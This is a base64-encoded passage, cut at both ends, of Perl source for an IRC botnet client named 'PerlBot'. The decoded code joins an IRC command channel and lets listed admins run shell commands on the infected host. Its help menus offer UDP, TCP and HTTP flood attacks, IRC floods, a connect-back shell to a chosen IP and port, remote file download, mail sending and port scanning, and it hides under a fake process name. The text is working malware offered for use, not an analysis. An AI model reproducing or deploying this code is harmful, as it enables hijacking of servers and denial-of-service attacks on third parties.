CAgICByZXR1cm4gX2dldCgkdXJsKTsNCiAgICB9DQogICAgcmV0dXJuIHVuZGVmIHVubGVzcyAkbWFpbjo6aHR0cF9nZXRfcmVzdWx0ID1+IC9eMi87DQogIH0NCg0KICByZXR1cm4gJGJ1ZjsNCn0NCg0Kc3ViIGNvbmVjdGFyIHsNCiAgbXkgJG1ldW5pY2sgPSAkX1swXTsNCiAgbXkgJHNlcnZlcl9jb24gPSAkX1sxXTsNCiAgbXkgJHBvcnRfY29uID0gJF9bMl07DQogIG15ICRJUkNfc29ja2V0ID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KFByb3RvPT4idGNwIiwgUGVlckFkZHI9PiIkc2VydmVyX2NvbiIsDQogIFBlZXJQb3J0PT4kcG9ydF9jb24pIG9yIHJldHVybigxKTsNCiAgaWYgKGRlZmluZWQoJElSQ19zb2NrZXQpKSB7DQogICAgJElSQ19jdXJfc29ja2V0ID0gJElSQ19zb2NrZXQ7DQogICAgJElSQ19zb2NrZXQtPmF1dG9mbHVzaCgxKTsNCiAgICAkc2VsX2NsaWVudGUtPmFkZCgkSVJDX3NvY2tldCk7DQogICAgJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J2hvc3QnfSA9ICIkc2VydmVyX2NvbiI7DQogICAgJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J3BvcnQnfSA9ICIkcG9ydF9jb24iOw0KICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eyduaWNrJ30gPSAkbWV1bmljazsNCiAgICAkaXJjX3NlcnZlcnN7JElSQ19jdXJfc29ja2V0fXsnbWV1aXAnfSA9ICRJUkNfc29ja2V0LT5zb2NraG9zdDsNCiAgICBuaWNrKCIkbWV1bmljayIpOw0KICAgIHNlbmRyYXcoIlVTRVIgJGlyY25hbWUgIi4kSVJDX3NvY2tldC0+c29ja2hvc3QuIiAkc2VydmVyX2NvbiA6JHJlYWxuYW1lIik7DQogICAgc2xlZXAgMTsNCiAgfQ0KfQ0KDQpteSAkbGluZV90ZW1wOw0Kd2hpbGUoIDEgKSB7DQogIHdoaWxlICghKGtleXMoJWlyY19zZXJ2ZXJzKSkpIHsgY29uZWN0YXIoIiRuaWNrIiwgIiRzZXJ2ZXIiLCAiJHBvcnQiKTsgfQ0KICBkZWxldGUoJGlyY19zZXJ2ZXJzeycnfSkgaWYgKGRlZmluZWQoJGlyY19zZXJ2ZXJzeycnfSkpOw0KICBteSBAcmVhZHkgPSAkc2VsX2NsaWVudGUtPmNhbl9yZWFkKDApOw0KICBuZXh0IHVubGVzcyhAcmVhZHkpOw0KICBmb3JlYWNoICRmaCAoQHJlYWR5KSB7DQogICAgJElSQ19jdXJfc29ja2V0ID0gJGZoOw0KICAgICRtZXVuaWNrID0gJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J25pY2snfTsNCiAgICAkbnJlYWQgPSBzeXNyZWFkKCRmaCwgJG1zZywgNDA5Nik7DQogICAgaWYgKCRucmVhZCA9PSAwKSB7DQogICAgICAkc2VsX2NsaWVudGUtPnJlbW92ZSgkZmgpOw0KICAgICAgJGZoLT5jbG9zZTsNCiAgICAgIGRlbGV0ZSgkaXJjX3NlcnZlcnN7JGZofSk7DQogICAgfQ0KICAgIEBsaW5lcyA9IHNwbGl0ICgvXG4vLCAkbXNnKTsNCiAgICBmb3IobXkgJGM9MDsgJGM8PSAkI2xpbmVzOyAkYysrKSB7DQogICAgICAkbGluZSA9ICRsaW5lc1skY107DQogICAgICAkbGluZT0kbGluZV90ZW1wLiRsaW5lIGlmICgkbGluZV90ZW1wKTsNCiAgICAgICRsaW5lX3RlbXA9Jyc7DQogICAgICAkbGluZSA9fiBzL1xyJC8vOw0KICAgICAgdW5sZXNzICgkYyA9PSAkI2xpbmVzKSB7DQogICAgICAgIHBhcnNlKCIkbGluZSIpOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICBpZiAoJCNsaW5lcyA9PSAwKSB7DQogICAgICAgICAgcGFyc2UoIiRsaW5lIik7DQogICAgICAgICAgfSBlbHNpZiAoJGxpbmVzWyRjXSA9fiAvXHIkLykgew0KICAgICAgICAgIHBhcnNlKCIkbGluZSIpOw0KICAgICAgICAgIH0gZWxzaWYgKCRsaW5lID1+IC9eKFxTKykgTk9USUNFIEFVVEggOlwqXCpcKi8pIHsNCiAgICAgICAgICBwYXJzZSgiJGxpbmUiKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICRsaW5lX3RlbXAgPSAkbGluZTsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCiAgfQ0KfQ0KDQpzdWIgcGFyc2Ugew0KICBteSAkc2VydmFyZyA9IHNoaWZ0Ow0KICBpZiAoJHNlcnZhcmcgPX4gL15QSU5HIFw6KC4qKS8pIHsNCiAgICBzZW5kcmF3KCJQT05HIDokMSIpOw0KICAgIH0gZWxzaWYgKCRzZXJ2YXJnID1+IC9eXDooLis/KVwhKC4rPylcQCguKz8pIFBSSVZNU0cgKC4rPykgXDooLispLykgew0KICAgIG15ICRwbj0kMTsgbXkgJGhvc3RtYXNrPSAkMzsgbXkgJG9uZGUgPSAkNDsgbXkgJGFyZ3MgPSAkNTsNCiAgICBpZiAoJGFyZ3MgPX4gL15cMDAxVkVSU0lPTlwwMDEkLykgew0KICAgICAgICAgbm90aWNlKCIkcG4iLCAiIi4kdmVycy4iIik7DQogICAgfQ0KICAgICAgICBpZiAoZ3JlcCB7JF8gPX4gL15cUSRob3N0bWFza1xFJC9pIH0gQGhvc3RhdXRoKSB7DQogICAgaWYgKGdyZXAgeyRfID1+IC9eXFEkcG5cRSQvaSB9IEBhZG1pbnMgKSB7DQogICAgaWYgKCRvbmRlIGVxICIkbWV1bmljayIpew0KICAgIHNoZWxsKCIkcG4iLCAiJGFyZ3MiKTsNCiAgfQ0KICBpZiAoJGFyZ3MgPX4gL14oXFEkbWV1bmlja1xFfFwheClccysoLiopLyApIHsNCiAgICBteSAkbmF0cml4ID0gJDE7DQogICAgbXkgJGFyZyA9ICQyOw0KICAgIGlmICgkYXJnID1+IC9eXCEoLiopLykgew0KICAgICAgaXJjYXNlKCIkcG4iLCIkb25kZSIsIiQxIik7DQogICAgICB9IGVsc2lmICgkYXJnID1+IC9eXEAoLiopLykgew0KICAgICAgJG9uZGVwID0gJG9uZGU7DQogICAgICAkb25kZXAgPSAkcG4gaWYgJG9uZGUgZXEgJG1ldW5pY2s7DQogICAgICBiZnVuYygiJG9uZGVwIiwiJDEiKTsNCiAgICAgIH0gZWxzZSB7DQogICAgICBzaGVsbCgiJG9uZGUiLCAiJGFyZyIpOw0KICAgIH0NCiAgfQ0KfQ0KfQ0KfQ0KDQplbHNpZiAoJHNlcnZhcmcgPX4gL15cOiguKz8pXCEoLis/KVxAKC4rPylccytOSUNLXHMrXDooXFMrKS9pKSB7DQogIGlmIChsYygkMSkgZXEgbGMoJG1ldW5pY2spKSB7DQogICRtZXVuaWNrPSQ0Ow0KICAkaXJjX3NlcnZlcnN7JElSQ19jdXJfc29ja2V0fXsnbmljayd9ID0gJG1ldW5pY2s7DQogIH0NCiAgfSBlbHNpZiAoJHNlcnZhcmcgPX4gbS9eXDooLis/KVxzKzQzMy9pKSB7DQogIG5pY2soIiRtZXVuaWNrLSIuaW50IHJhbmQoOTk5OSkpOw0KICB9IGVsc2lmICgkc2VydmFyZyA9fiBtL15cOiguKz8pXHMrMDAxXHMrKFxTKylccy9pKSB7DQogICRtZXVuaWNrID0gJDI7DQogICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eyduaWNrJ30gPSAkbWV1bmljazsNCiAgJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J25vbWUnfSA9ICIkMSI7DQogIGZvcmVhY2ggbXkgJGNhbmFsIChAY2hhbm5lbHMpIHsNCiAgICAgICAgc2VuZHJhdygiTU9ERSAkbmljayAreCIpOw0KICAgIHNlbmRyYXcoIkpPSU4gJGNhbmFsIik7DQp9DQp9DQp9DQoNCnN1YiBiZnVuYyB7DQpteSAkcHJpbnRsID0gJF9bMF07DQpteSAkZnVuY2FyZyA9ICRfWzFdOw0KICBpZiAobXkgJHBpZCA9IGZvcmspIHsNCiAgd2FpdHBpZCgkcGlkLCAwKTsNCiAgfSBlbHNlIHsNCiAgaWYgKGZvcmspIHsNCiAgZXhpdDsNCiAgfSBlbHNlIHsNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMjIyMgWyBIZWxwIE1vZHVsZSBdICMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0KaWYgKCRmdW5jYXJnID1+IC9eaGVscC8pIHsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxPT09PT09PT09PT09PT09PT09PT09PT09PSIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDFwcyBQZXJsQm90IE1haW4gSGVscDoiKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxPT09PT09PT09PT09PT09PT09PT09PT09PSIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDEheCAxMkA5LDFzeXN0ZW0gICAgICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMSF4IDEyQDksMXZlcnNpb24gICAgICAiKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxIXggMTJAOSwxY2hhbm5lbCAgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDEheCAxMkA5LDFmbG9vZCAgICAgICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMSF4IDEyQDksMXV0aWxzICAgICAgICAiKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxPT09PT09PT09PT09PT09PT09PT09PT09PSIpOw0KfQ0KDQppZiAoJGZ1bmNhcmcgPX4gL15zeXN0ZW0vKSB7DQogICAgICAgICR1cHRpbWU9YHVwdGltZWA7DQogICAgICAgICRvd25kPWBwd2RgOw0KICAgICAgICAkaWQ9YGlkYDsNCiAgICAgICAgJHVuYW1lPWB1bmFtZSAtc3JwYDsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbU3lzdGVtXSA5LDE9PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW1N5c3RlbV0gOSwxICBwcyBCb3QgQ29uZmlndXJhdGlvbjogIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW1N5c3RlbV0gOSwxPT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtTeXN0ZW1dIDksMSpTZXJ2ZXIgICAgICA6IDEyJHNlcnZlciAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtTeXN0ZW1dIDksMSpQb3J0ICAgICAgICA6IDEyJHBvcnQgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtTeXN0ZW1dIDksMSpDaGFubmVscyAgICA6IDEyQGNoYW5uZWxzICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtTeXN0ZW1dIDksMSp1bmFtZSAtYSAgICA6IDEyJHVuYW1lICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtTeXN0ZW1dIDksMSp1cHRpbWUgICAgICA6IDEyJHVwdGltZSAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtTeXN0ZW1dIDksMSpGYWtlUHJvY2VzcyA6IDEyJHByb2Nlc3MgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtTeXN0ZW1dIDksMSpQcm9jZXNzUElEICA6IDEyJCQgICAgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtTeXN0ZW1dIDksMSpJRCAgICAgICAgICA6IDEyJGlkICAgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtTeXN0ZW1dIDksMSpPd24gRGlyICAgICA6IDEyJG93bmQgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtTeXN0ZW1dIDksMT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKTsNCn0NCg0KaWYgKCRmdW5jYXJnID1+IC9edmVyc2lvbi8pew0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtWZXJzaW9uXSA5LDE9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW1ZlcnNpb25dIDksMSAgICBwcyBCb3QgSW5mb3JtYXRpb25zOiAgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtWZXJzaW9uXSA5LDE9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW1ZlcnNpb25dIDksMSpCb3QgVmVyc2lvbiA6IDEyJHZlcnNpb24gICAgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtWZXJzaW9uXSA5LDEqQm90IENyZWF0b3IgOiAxMkNyQW1FciAgICAgICAgICAiKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbVmVyc2lvbl0gOSwxKkJvdCBZZWFyICAgIDogMTIyMDEyICAgICAgICAgICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW1ZlcnNpb25dIDksMT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKTsNCn0NCg0KaWYgKCRmdW5jYXJnID1+IC9eZmxvb2QvKSB7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDEgICAgICAgICBwcyBQZXJsQm90IEZsb29kIEhlbHA6ICAgICAgICAgICAgICAiKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMSF4IDEyQDksMXVkcDEgPGlwPiA8cG9ydD4gPHRpbWU+ICAgICAgICAgICAiKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxIXggMTJAOSwxdWRwMiA8aXA+IDxwYWNrZXQgc2l6ZT4gPHRpbWU+ICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDEheCAxMkA5LDF1ZHAzIDxpcD4gPHBvcnQ+IDx0aW1lPiAgICAgICAgICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMSF4IDEyQDksMXRjcCA8aXA+IDxwb3J0PiA8cGFjayBzaXplPiA8dGltZT4iKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxIXggMTJAOSwxaHR0cCA8c2l0ZT4gPHRpbWU+ICAgICAgICAgICAgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDEheCAxMkA5LDFjdGNwZmxvb2QgPG5pY2s+ICAgICAgICAgICAgICAgICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMSF4IDEyQDksMW1zZ2Zsb29kIDxuaWNrPiAgICAgICAgICAgICAgICAgICAiKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxIXggMTJAOSwxbm90aWNlZmxvb2QgPG5pY2s+ICAgICAgICAgICAgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDE9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKTsNCn0NCg0KaWYgKCRmdW5jYXJnID1+IC9eY2hhbm5lbC8pIHsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMSAgICAgICAgcHMgUGVybEJvdCBDaGFubmVsIEhlbHA6ICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDE9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxIXggMTJAOSwxam9pbiA8Y2hhbm5lbD4gICAgICAgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDEheCAxMkA5LDFwYXJ0IDxjaGFubmVsPiAgICAgICAgICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMSF4IDEyITksMXJlam9pbiA8Y2hhbm5lbD4gICAgICAgICAiKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxIXggMTIhOSwxb3AgPGNoYW5uZWw+IDxuaWNrPiAgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDEheCAxMiE5LDFkZW9wIDxjaGFubmVsPiA8bmljaz4gICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMSF4IDEyITksMXZvaWNlIDxjaGFubmVsPiA8bmljaz4gICAiKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxIXggMTIhOSwxZGV2b2ljZSA8Y2hhbm5lbD4gPG5pY2s+ICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDEheCAxMiE5LDFuaWNrIDxuZXduaWNrPiAgICAgICAgICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMSF4IDEyITksMW1zZyA8bmljaz4gICAgICAgICAgICAgICAiKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxIXggMTIhOSwxcXVpdCAgICAgICAgICAgICAgICAgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDEheCAxMiE5LDFkaWUgICAgICAgICAgICAgICAgICAgICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpOw0KfQ0KDQppZiAoJGZ1bmNhcmcgPX4gL151dGlscy8pIHsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMSAgICAgICAgICAgICBwcyBQZXJsQm90IFV0aWxzIEhlbHA6ICAgICAgICAgICAgICAgICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDEheCAxMkA5LDFjYmFjayA8aXA+IDxwb3J0PiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMSF4IDEyQDksMWRvd25sb2FkIDx1cmwrcGF0aD4gPGZpbGU+ICAgICAgICAgICAgICAgICAgICAiKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxIXggMTJAOSwxbWFpbCA8c3ViamVjdD4gPHNlbmRlcj4gPHJlY2lwaWVudD4gPG1lc3NhZ2U+ICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDEheCAxMkA5LDFkbnMgPGlwPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMSF4IDEyQDksMXBvcnQgPGlwPiA8cG9ydD4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxIXggMTJAOSwxcG9ydHNjYW4gPGlwPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDEheCBwd2QgKGZvciBleGFtcGxlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpOw0KfQ0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyBbIEZ1bmN0aW9ucyBdICMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCmlmICgkZnVuY2FyZyA9fiAvXmRpZS8pIHsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJRVUlUIDoiKTsNCiAgICAgICAgJGtpbGxkID0gImtpbGwgLTkgIi5mb3JrOw0KICAgICAgICBzeXN0ZW0gKGAka2lsbGRgKTsNCn0NCiMjIyMjIyMjIyMjDQppZiAoJGZ1bmNhcmcgPX4gL15qb2luICguKikvKSB7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiSk9JTiAiLiQxKTsNCn0NCg0KaWYgKCRmdW5jYXJnID1+IC9ecGFydCAoLiopLykgew0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBBUlQgIi4kMSk7DQp9DQojIyMjIyMjIyMjIw0KaWYgKCRmdW5jYXJnID1+IC9ecG9ydHNjYW4gKC4qKS8pIHsNCiAgbXkgJGhvc3RpcD0iJDEiOw0KICBteSBAcG9ydGFzPSgiMSIsIjciLCI5IiwiMTQiLCIyMCIsIjIxIiwiMjIiLCIyMyIsIjI1IiwiNTMiLCI4MCIsIjg4IiwiMTEwIiwiMTEyIiwiMTEzIiwiMTM3IiwiMTQzIiwiMTQ1IiwiMjIyIiwiMzMzIiwiNDA1IiwiNDQzIiwiNDQ0IiwiNDQ1IiwiNTEyIiwiNTg3IiwiNjE2IiwiNjY2IiwiOTkzIiwiOTk1IiwiMTAyNCIsIjEwMjUiLCIxMDgwIiwiMTE0NCIsIjExNTYiLCIxMjIyIiwiMTIzMCIsIjEzMzciLCIxMzQ4IiwiMTYyOCIsIjE2NDEiLCIxNzIwIiwiMTcyMyIsIjE3NjMiLCIxOTgzIiwiMTk4NCIsIjE5ODUiLCIxOTg3IiwiMTk4OCIsIjE5OTAiLCIxOTk0IiwiMjAwNSIsIjIwMjAiLCIyMTIxIiwiMjIwMCIsIjIyMjIiLCIyMjIzIiwiMjM0NSIsIjIzNjAiLCIyNTAwIiwiMjcyNyIsIjMxMzAiLCIzMTI4IiwiMzEzNyIsIjMxMjkiLCIzMzAzIiwiMzMwNiIsIjMzMzMiLCIzMzg5IiwiNDAwMCIsIjQwMDEiLCI0NDcxIiwiNDg3NyIsIjUyNTIiLCI1NTIyIiwiNTU1MyIsIjU1NTQiLCI1NjQyIiwiNTc3NyIsIjU4MDAiLCI1ODAxIiwiNTkwMCIsIjU5MDEiLCI2MDYyIiwiNjU1MCIsIjY1MjIiLCI2NjAwIiwiNjYyMiIsIjY2NjIiLCI2NjY1IiwiNjY2NiIsIjY2NjciLCI2OTY5IiwiNzAwMCIsIjc5NzkiLCI4MDA4IiwiODA4MCIsIjgwODEiLCI4MDgyIiwiODE4MSIsIjgyNDYiLCI4NDQzIiwiODUyMCIsIjg3ODciLCI4ODU1IiwiODg4MCIsIjg5ODkiLCI5ODU1IiwiOTg2NSIsIjk5OTciLCI5OTk5IiwiMTAwMDAiLCIxMDAwMSIsI